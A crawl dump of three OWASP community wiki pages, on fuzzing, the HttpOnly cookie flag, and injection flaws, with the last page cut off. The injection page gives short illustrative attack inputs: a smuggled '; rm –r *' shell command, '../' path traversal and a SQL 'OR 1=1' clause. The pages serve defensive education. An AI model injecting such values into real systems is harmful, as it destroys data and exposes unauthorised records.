"text": "Domain-Specific Fuzzers"}, {"uroven": 3, "text": "Commercial products"}], "markdown": "# Fuzzing\n\n**Contributor(s):** Marco Barbaccia\n\n*Fuzz testing*, or *fuzzing*, is a software testing technique aimed at identifying bugs, vulnerabilities, or unexpected behavior by automatically providing a program with unexpected, malformed, or semi-malformed inputs.\n\n## A trivial example\n\nLet’s consider an integer in a program, which stores the result of a user’s choice among 3 questions. When the user picks one, the choice\nwill be 0, 1, or 2. Which makes three practical cases. But what if we transmit 3, or 255? We can, because integers are stored in a static size\nvariable. If the default switch case hasn’t been implemented securely, the program may crash and lead to “classical” security issues:\n(un)exploitable buffer overflows, DoS, …\n\nFuzzing is the art of automatic bug finding, and its role is to find software implementation faults, and identify them if possible.\n\n## History\n\nFuzz testing was developed at the University of Wisconsin Madison in 1989 by Professor Barton Miller and students. Their (continued) work can be found at [http://www.cs.wisc.edu/~bart/fuzz/](http://www.cs.wisc.edu/~bart/fuzz/) ; it’s mainly oriented towards command-line and UI fuzzing, and shows that modern operating systems are vulnerable to even simple fuzzing.\n\n## Fuzzer implementations\n\nA fuzzer is a program which injects automatically semi-random data into a program/stack and detect bugs.\n\nThe data-generation part is made of generators, and vulnerability identification relies on debugging tools. Generators usually use\n combinations of static fuzzing vectors (known-to-be-dangerous values), or totally random data. New generation fuzzers use genetic algorithms to link injected data and observed impact. Such tools are not public yet.\n\n## Comparison with cryptanalysis\n\nThe number of possible tryable solutions is *the explorable solutions space*. The aim of cryptanalysis is to reduce this space, which means\nfinding a way of having less keys to try than pure bruteforce to decrypt something.\n\nMost of the fuzzers are:\n\n- protocol/file-format dependant\n- data-type dependant\n\nWhy?\n\n- First, because the fuzzer has to connect to the input channel, which is bound to the target.\n- Second, because a program only understands structured-enough data. If you connect to a web server in a raw way, it will only respond to\n listed commands such as GET (or eventually crash). It will take less time to start the string with “GET “, and fuzz the rest, but the\n drawback is that you’ll skip all the tests on the first verb.\n\nIn this regard, Fuzzers try to reduce the number of unuseful tests, i.e. the values we already know that there’s little chance they’ll work: you reduce unpredictability, in favor of speed.\n\n## Attack types\n\nA fuzzer would try combinations of attacks on:\n\n- numbers (signed/unsigned integers/float…)\n- chars (urls, command-line inputs)\n- metadata : user-input text (id3 tag)\n- pure binary sequences\n\nA common approach to fuzzing is to define lists of “known-to-be-dangerous values” (*fuzz vectors*) for each type, and to inject them or recombinations.\n\n- for integers: zero, possibly negative or very big numbers\n- for chars: escaped, interpretable characters / instructions (ex: For SQL Requests, quotes / commands…)\n- for binary: random ones\n\nPlease refer to [OWASP’s Fuzz Vector’s\nresource](https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/C-Fuzz_Vectors) for real-life fuzzing vectors examples and methodology.\n\nProtocols and file formats imply norms, which are sometimes blurry, very complicated or badly implemented : that’s why developers sometimes mess up in the implementation process (because of time/cost constraints). That’s why it can be interesting to take the opposite approach: take a norm, look at all mandatory features and constraints, and try all of them; forbidden/reserved values, linked parameters, field sizes. That would be *conformance testing oriented* fuzzing.\n\n## Application fuzzing\n\nWhatever the fuzzed system is, the attack vectors are within its I/O. For a desktop app:\n\n- the UI (testing all the buttons sequences / text inputs)\n- the command-line options\n- the import/export capabilities (see file format fuzzing below)\n\nFor a web app: urls, forms, user-generated content, RPC requests, …\n\n## Protocol fuzzing\n\nA protocol fuzzer sends forged packets to the tested application, or eventually acts as a proxy, modifying requests on the fly and replaying\nthem.\n\n## File format fuzzing\n\nA file format fuzzer generates multiple malformed samples, and opens them sequentially. When the program crashes, debug information is kept\nfor further investigation.\n\nOne can attack:\n\n- the parser layer (container layer): file format constraints, structure, conventions, field sizes, flags, …\n- the codec/application layer: lower-level attacks, aiming at the program’s deeper internals\n\nOne example of file format related vulnerabilities:\n[MS04-028](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2004/ms04-028) (KB833987) Microsoft’s JPEG GDI+ vulnerability was a zero sized comment field, without content.\n\nSurprisingly, file format fuzzers are not that common, but tend to appear these days; some examples:\n\n- A generic file format fuzzer : [Ilja van Sprundel’s mangle.c](https://ext4.wiki.kernel.org/index.php/Filesystem_Testing_Tools/mangle.c) ; “its usage is very simple, it takes a filename and headersize as input. it will then change approximately between 0 and 10% of the header with random bytes.” (from the author)\n- Zzuf can act as a fuzzed file generator, [http://sam.zoy.org/zzuf/](http://sam.zoy.org/zzuf/) - One may use tools like [Hachoir](https://hachoir.readthedocs.io/) as a generic parser for file format fuzzer development.\n\n## Fuzzers advantages\n\n*The great advantage of fuzz testing is that the test design is extremely simple, and free of preconceptions about system behavior*\n([from Wikipedia](https://en.wikipedia.org/wiki/Fuzz_testing)).\n\nThe systematic/random approach allows this method to find bugs that would have often been missed by human eyes. Plus, when the tested system\nis totally closed (say, a SIP phone), fuzzing is one of the only means of reviewing its quality.\n\n## Fuzzers limitations\n\nFuzzers usually tend to find simple bugs; plus, the more a fuzzer is protocol-aware, the less weird errors it will find. This is why the\nexhaustive / random approach is still popular among the fuzzing community.\n\nAnother problem is that when you do some black-box testing, you usually attack a closed system, which increases difficulty to evaluate the\ndangerosity/impact of the found vulnerability (no debugging possibilities).\n\n## Why Fuzz?\n\nThe purpose of fuzzing relies on the assumption that there are bugs within every program, which are waiting to be discovered. Therefore, a\nsystematic approach should find them sooner or later.\n\nFuzzing can add another point of view to classical software testing techniques (hand code review, debugging) because of its non-human\napproach. It doesn’t replace them, but is a reasonable complement thanks to the limited work needed to put the procedure in place.\n\nSome fuzzing initiatives:\n\n- The [Month of Kernel Bugs, which revealed an Apple Wireless flaw](https://kernelfun.blogspot.com/) mainly used file system fuzzing tools\n- The [Month of Browser Bugs](https://browserfun.blogspot.com/) ; number of bugs found: MSIE: 25 Apple Safari: 2 Mozilla: 2 Opera: 1 Konqueror: 1; used DHTML, Css, DOM, ActiveX fuzzing tools\n\n## References\n\n- [Wikipedia article](https://en.wikipedia.org/wiki/Fuzz_testing)\n- [Fuzzing-related papers](http://www.threatmind.net/secwiki/FuzzingPapers)\n- [The fuzzing mailing list archive](https://web.archive.org/web/20090202043027/http://www.whitestar.linuxbox.org/pipermail/fuzzing/)\n\n## Fuzzing tools\n\n### Open Source\n\n#### Mutational Fuzzers\n\n- [american fuzzy lop](https://en.wikipedia.org/wiki/American_fuzzy_lop_%28fuzzer%29)\n- [Radamsa - a flock of fuzzers](https://gitlab.com/akihe/radamsa)\n- [APIFuzzer - fuzz test without coding](https://pypi.org/project/APIFuzzer/)\n- [Jazzer - fuzzing for the JVM](https://github.com/CodeIntelligenceTesting/jazzer)\n- [ForAllSecure Mayhem for API](https://forallsecure.com/mayhem-for-api)\n- [WuppieFuzz - coverage-guided for REST API](https://github.com/TNO-S3/WuppieFuzz)\n\n#### Fuzzing Frameworks\n\n- [Sulley Fuzzing Framework](https://github.com/OpenRCE/sulley)\n- [boofuzz](https://github.com/jtpereyda/boofuzz)\n- [BFuzz](https://github.com/RootUp/BFuzz)\n\n#### Domain-Specific Fuzzers\n\n- [ABNF Fuzzer](https://github.com/nradov/abnffuzzer)\n\n### Commercial products\n\n- [Codenomicon’s product suite](http://www.codenomicon.com/products/all.shtml)\n- [Peach Fuzzing Platform](http://peachfuzzer.com)\n- [Beyond Security’s beSTORM product](http://www.beyondsecurity.com/bestorm_overview.html)\n- [ForAllSecure Mayhem for Code](https://forallsecure.com/mayhem-for-code)\n- [CI Fuzz](https://code-intelligence.com)\n- [Fuzzbuzz](https://fuzzbuzz.io)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 8912, "slov": 1182, "odkazu": 50, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:48", "sha256": "891e23f3495e4adc0941df36dd896b37ba4f3bc36a10478cc61053859e74edf8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://www.cs.wisc.edu/~bart/fuzz/", "https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2004/ms04-028", "https://ext4.wiki.kernel.org/index.php/Filesystem_Testing_Tools/mangle.c", "http://sam.zoy.org/zzuf/", "https://hachoir.readthedocs.io/", "https://en.wikipedia.org/wiki/Fuzz_testing", "https://kernelfun.blogspot.com/", "https://browserfun.blogspot.com/", "http://www.threatmind.net/secwiki/FuzzingPapers", "http://www.whitestar.linuxbox.org/pipermail/fuzzing/", "https://en.wikipedia.org/wiki/American_fuzzy_lop_(fuzzer)", "https://gitlab.com/akihe/radamsa", "https://pypi.org/project/APIFuzzer/", "https://github.com/CodeIntelligenceTesting/jazzer", "https://forallsecure.com/mayhem-for-api", "https://github.com/TNO-S3/WuppieFuzz", "https://github.com/OpenRCE/sulley", "https://github.com/jtpereyda/boofuzz", "https://github.com/RootUp/BFuzz", "https://github.com/nradov/abnffuzzer", "http://www.codenomicon.com/products/all.shtml", "http://peachfuzzer.com/", "http://www.beyondsecurity.com/bestorm_overview.html", "https://forallsecure.com/mayhem-for-code", "https://code-intelligence.com/", "https://fuzzbuzz.io/", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/HttpOnly", "titulek": "HttpOnly | OWASP Foundation", "h1": "HttpOnly", "popis": "HttpOnly on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/HttpOnly", "jazyk": "en", "robots_meta": "", "og": {"og:description": "HttpOnly on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "HttpOnly | OWASP Foundation", "og:url": "https://community.owasp.org/HttpOnly", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "HttpOnly"}, {"uroven": 2, "text": "Overview"}, {"uroven": 3, "text": "Who developed HttpOnly? When?"}, {"uroven": 3, "text": "What is HttpOnly?"}, {"uroven": 3, "text": "Mitigating the Most Common XSS attack using HttpOnly"}, {"uroven": 5, "text": "Using Java to Set HttpOnly"}, {"uroven": 5, "text": "Using .NET to Set HttpOnly"}, {"uroven": 5, "text": "Using Python (cherryPy) to Set HttpOnly"}, {"uroven": 5, "text": "Using PHP to set HttpOnly"}, {"uroven": 2, "text": "Modern Browser Support"}, {"uroven": 3, "text": "Web Application Firewalls"}, {"uroven": 2, "text": "References"}], "markdown": "# HttpOnly\n\n**Contributor(s):** Rknell, Wichers, Jmanico, Pawel Krawczyk , Alan Hogan, Eyal Lupu, D0ubl3 h3lix, Roberto Martelloni, Tarin Gamberini, Ali Khalfan, Markgordon, kingthorin, mkost, Grant Ongers\n\n## Overview\n\nThe goal of this section is to introduce, discuss, and provide language specific mitigation techniques for HttpOnly.\n\n### Who developed HttpOnly? When?\n\nHttpOnly support was first added by Microsoft in Internet Explorer 6 SP1 around 2002. Over time the feature became part of all major browsers and is now treated as a standard cookie attribute.\n\n### What is HttpOnly?\n\nHttpOnly is an extra attribute that can be added to the `Set-Cookie` HTTP response header. When this flag is present, browsers that support it keep the cookie out of JavaScript APIs such as `document.cookie`.\n\nThe example below shows the syntax used within the HTTP response header:\n\n```\nSet-Cookie: =[; =]\n`[; expires=][; domain=]\n[; path=][; secure][; HttpOnly]\n```\n\nWhen a cookie is marked as HttpOnly, scripts running in the browser are not able to read its value. This makes it harder for many XSS attacks to steal session cookies or other sensitive data stored in cookies.\n\nIt is important to remember that HttpOnly does not block XSS or stop script execution. It only affects access to cookies, so other XSS impacts such as page defacement or CSRF token theft may still be possible.\n\n### Mitigating the Most Common XSS attack using HttpOnly\n\nAccording to [Michael Howard](https://en.wikipedia.org/wiki/Michael_Howard_(Microsoft)), Senior\nSecurity Program Manager in the Secure Windows Initiative group at\nMicrosoft, the majority of XSS attacks target theft of session cookies.\nA server could help mitigate this issue by setting the HttpOnly flag on\na cookie it creates, indicating the cookie should not be accessible on\nthe client.\n\nIf a browser that supports HttpOnly detects a cookie containing the\nHttpOnly flag, and client side script code attempts to read the cookie,\nthe browser *returns an empty string* as the result. This causes the\nattack to fail by preventing the malicious (usually XSS) code from\nsending the data to an attacker’s website.\n\n##### Using Java to Set HttpOnly\n\nSince Java Enterprise Edition 6 (JEE 6), which adopted Java Servlet 3.0\ntechnology, it’s programmatically easy to set the HttpOnly flag on a\ncookie.\n\nIn fact `setHttpOnly` and `isHttpOnly` methods are available in the\n`Cookie` interface\n[JEE 6](http://java.sun.com/javaee/6/docs/api/javax/servlet/http/Cookie.html#setHttpOnly%28boolean%29),\n[JEE 7](https://docs.oracle.com/javaee/7/api/javax/servlet/http/Cookie.html#setHttpOnly-boolean-)\nand also for session cookies (JSESSIONID)\n[JEE 6](http://java.sun.com/javaee/6/docs/api/javax/servlet/SessionCookieConfig.html#setHttpOnly%28boolean%29),\n[JEE 7](https://docs.oracle.com/javaee/7/api/javax/servlet/SessionCookieConfig.html#setHttpOnly-boolean-) `cookie.setHttpOnly(true);`\n\nMoreover, since JEE 6 it’s also declaratively easy setting `HttpOnly`\nflag in a session cookie by applying the following configuration in the\ndeployment descriptor `WEB-INF/web.xml`:\n\n```\n true \n```\n\nFor Java Enterprise Edition versions *prior* to JEE 6 a common\n**workaround** is to overwrite the `SET-COOKIE` HTTP response header\nwith a session cookie value that explicitly appends the `HttpOnly` flag:\n\n```\nString sessionid = request.getSession().getId(); // be careful overwriting: JSESSIONID may have been set with other flags response.setHeader(\"SET-COOKIE\", \"JSESSIONID=\" + sessionid + \"; HttpOnly\"); \n```\n\nIn this context, overwriting, despite appropriate for the `HttpOnly`\nflag, is discouraged because the JSESSIONID may have been set with other\nflags. A better workaround is taking care of the previously set flags or\nusing the [ESAPI#Java_EE](https://owasp.org/www-project-enterprise-security-api/) library: in fact\nthe `addCookie` method of the `SecurityWrapperResponse` [3](https://code.google.com/p/owasp-esapi-java/source/browse/tags/esapi-2.0.1/src/main/java/org/owasp/esapi/filters/SecurityWrapperResponse.java)\ntakes care of previously set flags for us. So we could write a servlet\nfilter as the following one:\n\n```\npublic void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest httpServletRequest = (HttpServletRequest) request; HttpServletResponse httpServletResponse = (HttpServletResponse) response; // if errors exist then create a sanitized cookie header and continue SecurityWrapperResponse securityWrapperResponse = new SecurityWrapperResponse(httpServletResponse, \"sanitize\"); Cookie[] cookies = httpServletRequest.getCookies(); if (cookies != null) { for (int i = 0; i < cookies.length; i++) { Cookie cookie = cookies[i]; if (cookie != null) { // ESAPI.securityConfiguration().getHttpSessionIdName() returns JSESSIONID by default configuration if (ESAPI.securityConfiguration().getHttpSessionIdName().equals(cookie.getName())) { securityWrapperResponse.addCookie(cookie); } } } } filterChain.doFilter(request, response); } \n```\n\nSome web application servers, that implement JEE 5, and servlet\ncontainers that implement Java Servlet 2.5 (part of JEE 5), also allow\ncreating HttpOnly session cookies:\n\n- **Tomcat 6** In `context.xml` set the `context` tag’s attribute `useHttpOnly` [4](http://tomcat.apache.org/tomcat-6.0-doc/config/context.html#Common_Attributes) as follow:\n\n```\n \n```\n\n- **JBoss 5.0.1** and **JBOSS EAP 5.0.1** In `server \\deploy\\jbossweb.sar\\context.xml` set the `SessionCookie` tag [5](https://community.jboss.org/message/598558#598558) as follow:\n\n```\n \n```\n\n- **IBM Websphere** offer HTTPOnly for session cookies as a [configuration option](http://pic.dhe.ibm.com/infocenter/tivihelp/v33r1/topic/com.ibm.mam.inswas.doc/install/t_configuringthehttponlyattribute.html)\n\n##### Using .NET to Set HttpOnly\n\n- By *default* , **.NET 2.0** sets the HttpOnly attribute for\n 1. Session ID\n 2. Forms Authentication cookie\n\nIn .NET 2.0, HttpOnly can also be set via the HttpCookie object for all custom application cookies\n\n- Via **web.config** in the system.web/httpCookies element\n\n``\n\n- Or **programmatically**\n\nC# Code:\n\n```\nHttpCookie myCookie = new HttpCookie(\"myCookie\");\nmyCookie.HttpOnly = true;\nResponse.AppendCookie(myCookie);\n```\n\nVB.NET Code:\n\n```\nDim myCookie As HttpCookie = new HttpCookie(\"myCookie\") myCookie.HttpOnly = True Response.AppendCookie(myCookie) \n```\n\n- However, in **.NET 1.1** , you would have to do this *manually* ,\ne.g.,\n\n`Response.Cookies[cookie].Path += \";HttpOnly\";`\n\n##### Using Python (cherryPy) to Set HttpOnly\n\nPython Code (cherryPy):\nTo use HTTP-Only cookies with Cherrypy sessions just add the following\nline in your configuration file:\n`tools.sessions.httponly = True`\nIf you use SLL you can also make your cookies secure (encrypted) to\navoid “manipulator-in-the-middle” cookies reading with:\n`tools.sessions.secure = True`\n\n##### Using PHP to set HttpOnly\n\nPHP supports setting the HttpOnly flag since version 5.2.0 (November\n2006).\n\nFor session cookies managed by PHP, the flag is set either permanently\nin php.ini [PHP manual on\n*HttpOnly*](http://www.php.net/manual/en/session.configuration.php#ini.session.cookie-httponly)\nthrough the parameter:\n\n`session.cookie_httponly = True`\n\nor in and during a script via the\nfunction[6](http://pl.php.net/manual/en/function.session-set-cookie-params.php):\n\n```\nvoid session_set_cookie_params ( int $lifetime [, string $path [, string $domain\n [, bool $secure= false [, bool $httponly= false ]]]] )\n```\n\nFor application cookies last parameter in setcookie() sets HttpOnly\nflag[7](http://pl.php.net/setcookie):\n\n```\nbool setcookie ( string $name [, string $value [, int $expire= 0 [, string $path\n [, string $domain [, bool $secure= false [, bool $httponly= false ]]]]]] )\n```\n\n## Modern Browser Support\n\nHttpOnly is available in all current mainstream browsers, including:\n\n- Google Chrome and Microsoft Edge (Chromium-based)\n- Mozilla Firefox\n- Apple Safari\n\nThese browsers prevent client-side JavaScript from reading cookies that are marked with the HttpOnly attribute. Older products such as legacy Internet Explorer and Opera are no longer widely used and generally do not need to be considered when planning HttpOnly deployment.\n\n### Web Application Firewalls\n\nIf code changes are infeasible, web application firewalls can be used to\nadd HttpOnly to session cookies:\n\n- Mod_security - using SecRule and Header\ndirectives [8](http://blog.modsecurity.org/2008/12/fixing-both-missing-httponly-and-secure-cookie-flags.html)\n- ESAPI\nWAF [9](https://code.google.com/p/owasp-esapi-java/downloads/list) using *add-http-only-flag* directive [10](http://www.slideshare.net/llamakong/owasp-esapi-waf-appsec-dc-2009)\n\n## References\n\n1. [CWE-1004: Sensitive Cookie Without ‘HttpOnly’ Flag](https://cwe.mitre.org/data/definitions/1004.html)\n2. Wiens, Jordan [“No cookie for you!”](http://www.networkcomputing.com/careers/no-cookie-you/1270585242)\n3. [Mitigating Cross-site Scripting with HTTP-Only Cookies](http://msdn2.microsoft.com/en-us/library/ms533046.aspx)\n4. Howard, Michael. [Some Bad News and Some Good News](http://msdn2.microsoft.com/en-us/library/ms972826.aspx)\n5. MSDN. [Setting the HttpOnly property in .NET](http://msdn.microsoft.com/en-us/library/system.web.httpcookie.httponly.aspx)\n6. [XSS: Gaining access to HttpOnly Cookie in 2012](http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html)\n7. [Setting HttpOnly in Java](http://stackoverflow.com/questions/13147113/setting-an-httponly-cookie-with-javax-servlet-2-5)\n8. [Misunderstandings on HttpOnly Cookie](https://web.archive.org/web/20130701055119/http://blog.fortify.com:80/blog/2011/11/02/Misunderstandings-on-HttpOnly-Cookie)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 9999, "slov": 1204, "odkazu": 47, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:56", "sha256": "7c1760fbc62c79a129942e8fcc9ae91fd1bff5612673da79d3ecb304c2757543", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Michael_Howard_(Microsoft)", "http://java.sun.com/javaee/6/docs/api/javax/servlet/http/Cookie.html", "https://docs.oracle.com/javaee/7/api/javax/servlet/http/Cookie.html", "http://java.sun.com/javaee/6/docs/api/javax/servlet/SessionCookieConfig.html", "https://docs.oracle.com/javaee/7/api/javax/servlet/SessionCookieConfig.html", "https://code.google.com/p/owasp-esapi-java/source/browse/tags/esapi-2.0.1/src/main/java/org/owasp/esapi/filters/SecurityWrapperResponse.java", "http://tomcat.apache.org/tomcat-6.0-doc/config/context.html", "https://community.jboss.org/message/598558", "http://pic.dhe.ibm.com/infocenter/tivihelp/v33r1/topic/com.ibm.mam.inswas.doc/install/t_configuringthehttponlyattribute.html", "http://www.php.net/manual/en/session.configuration.php", "http://pl.php.net/manual/en/function.session-set-cookie-params.php", "http://pl.php.net/setcookie", "http://blog.modsecurity.org/2008/12/fixing-both-missing-httponly-and-secure-cookie-flags.html", "https://code.google.com/p/owasp-esapi-java/downloads/list", "http://www.slideshare.net/llamakong/owasp-esapi-waf-appsec-dc-2009", "https://cwe.mitre.org/data/definitions/1004.html", "http://www.networkcomputing.com/careers/no-cookie-you/1270585242", "http://msdn2.microsoft.com/en-us/library/ms533046.aspx", "http://msdn2.microsoft.com/en-us/library/ms972826.aspx", "http://msdn.microsoft.com/en-us/library/system.web.httpcookie.httponly.aspx", "http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html", "http://stackoverflow.com/questions/13147113/setting-an-httponly-cookie-with-javax-servlet-2-5", "http://blog.fortify.com/blog/2011/11/02/Misunderstandings-on-HttpOnly-Cookie", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/Injection_Flaws", "titulek": "Injection Flaws | OWASP Foundation", "h1": "Injection Flaws", "popis": "Injection Flaws on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/Injection_Flaws", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Injection Flaws on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Injection Flaws | OWASP Foundation", "og:url": "https://community.owasp.org/Injection_Flaws", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Injection Flaws"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Examples"}, {"uroven": 2, "text": "How to Determine If You Are Vulnerable"}, {"uroven": 2, "text": "How to Protect Yourself"}, {"uroven": 2, "text": "References"}], "markdown": "# Injection Flaws\n\n**Contributor(s):** Jeremy Ferragamo, Wichers, Eofedal, kingthorin, Charlie Worrell\n\n## Description\n\nAn injection flaw is a vulnerability which allows an attacker to relay malicious code through an application to another system. This can include compromising both backend systems as well as other clients connected to the vulnerable application.\n\nThe effects of these attacks include:\n\n- Allowing an attacker to execute operating system calls on a target machine\n- Allowing an attacker to compromise backend data stores\n- Allowing an attacker to compromise or hijack sessions of other users\n- Allowing an attacker to force actions on behalf of other users or services\n\nMany web applications depend on operating system features, external programs, and processing of data queries submitted by users. When a web application passes information from an HTTP request as part of an external request, set up a way to scrub and validate the message. Otherwise an attacker can inject special (meta) characters, malicious commands/code, or command modifiers into the message.\n\nWhile these attacks are not difficult to attempt, there are an increasing number of tools that scan for these flaws. An attacker can use these techniques to obtain, corrupt, or destroy the contents of your database, compromise backend systems, or attack other users.\n\nSuccessful injection attacks may completely compromise or destroy a system. It is important to test for and protect against these types of attacks.\n\n## Examples\n\n1. OS Command Injection - A malicious parameter could modify the actions taken by a system call that normally retrieves the current user’s file to access another user’s file (e.g., by including path traversal `../` characters as part of a filename request). Additional commands could be tacked on to the end of a parameter that is passed to a shell script to execute an additional shell command (e.g., `; rm –r \\*`) along with the intended command.\n2. SQL Injection - Is a particularly widespread and dangerous form of injection. To exploit a SQL injection flaw, an attacker needs to find a parameter that the web application passes through to a database interaction. An attacker can then embed malicious SQL commands into the content of the parameter, to trick the web application to forward a malicious query to the database. SQL queries could be modified by adding additional ‘constraints’ to a where clause (e.g., `OR 1=1`) to gain access to or modify unauthorized data.\n3. Cross-Site Scripting (XSS) - A type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.1 Attacks of this type can hijack user sessions, log keystrokes, or perform malicious actions on behalf of victim users.\n\n## How to Determine If You Are Vulnerable\n\nThe best way to determine if your applications are vulnerable to injection attacks is to search the source code for all calls to external resources (e.g., system, exec, fork, Runtime.exec, SQL queries, XML and JSON parsers, or whatever the syntax is for making requests to interpreters in your environment). Additionally, validate that all user provided input is sanitized and user provided data that is output is properly encoded where applicable.\n\n[OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide) contains details on how to test for common injection attacks. See the References section below for additional information.\n\n## How to Protect Yourself\n\n1. Validate Input\n\nInput validation is performed to ensure only properly formed data is entering the workflow in an information system, preventing malformed data from persisting in the database and triggering malfunction of various downstream components. Input validation should happen as early as possible in the data flow, preferably as soon as the data is received from the external party.\n\nData from all potentially untrusted sources should be subject to input validation, including not only Internet-facing web clients but also backend feeds over extranets, from suppliers, partners, vendors or regulators, each of which may be compromised on their own and start sending malformed data.\n\nInput Validation should not be used as the primary method of preventing XSS, SQL Injection, and other attacks which are covered in respective cheat sheets but can significantly contribute to reducing their impact if implemented properly.2\n\n1. Apply Least Privilege\n\nAnother strong protection against injection attacks is to ensure that the web application runs with only the privileges it absolutely needs to perform its function. So you should not run the webserver as root or access a database as DBADMIN, otherwise an attacker can abuse these administrative privileges granted to the web application. Some of the J2EE environments allow the use of the Java sandbox, which can prevent the execution of system commands.\n\n1. Handle Exceptions and Returned Status Codes\n\nIf an external command must be used, any user information that is being inserted into the command should be rigorously checked. Mechanisms should be put in place to handle any possible errors, timeouts, or blockages during the call. All output, return codes and error codes from the call should be checked to ensure that the expected processing actually occurred. At a minimum, this will allow you to determine that something has gone wrong. Otherwise, the attack may occur and never be detected.\n\n1. Investigate Mitigation Techniques for Specific Technologies Your Application Uses\n\nDifferent injection attack types require different mitigation strategies (e.g. XSS vs. Server-side template injection). Review what technologies your application uses and available information on steps to take on preventing attack classes that abuse those technologies.\n\n1. Avoid Accessing External Interpreters\n\nAnother way to protect against injection is to avoid accessing external interpreters wherever possible. For many shell commands and some system calls, there are language specific libraries that perform the same functions. Using such libraries does not involve the operating system shell interpreter, and therefore avoids a large number of problems with shell commands.\n\n## References\n\n- 1 OWASP [Cross-Site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/)\n- 2 OWASP [Input Validation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n- OWASP [Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- OWASP [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- OWASP [Cross-Site Scripting (XSS) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n- OWASP [GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html)\n- [NOSQL-injection](http://erlend.oftedal.no/blog/?blogid=110)\n- [PayloadAllTheThings Repository of Attack Payloads](https://github.com/swisskyrepo/PayloadsAllTheThings)\n- [PortSwigger - Server-Side Template Injection](https://portswigger.net/research/server-side-template-injection)\n- OWASP [Cross-Site Scripting (XSS) Filter Evasion Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)\n- [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/v42/)\n - [Testing for SQL Injection](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection)\n - [Testing for LDAP Injection](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection)\n - [Testing for XML Injection](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection)\n - [Testing for SSI Injection](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/08-Testing_for_SSI_Injection)\n - [Testing for XPath Injection](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection)\n - [Testing for IMAP SMTP Injection](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/10-Testing_for_IMAP_SMTP_Injection)\n - [Testing for Code Injection](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection)\n - [Testing for Command 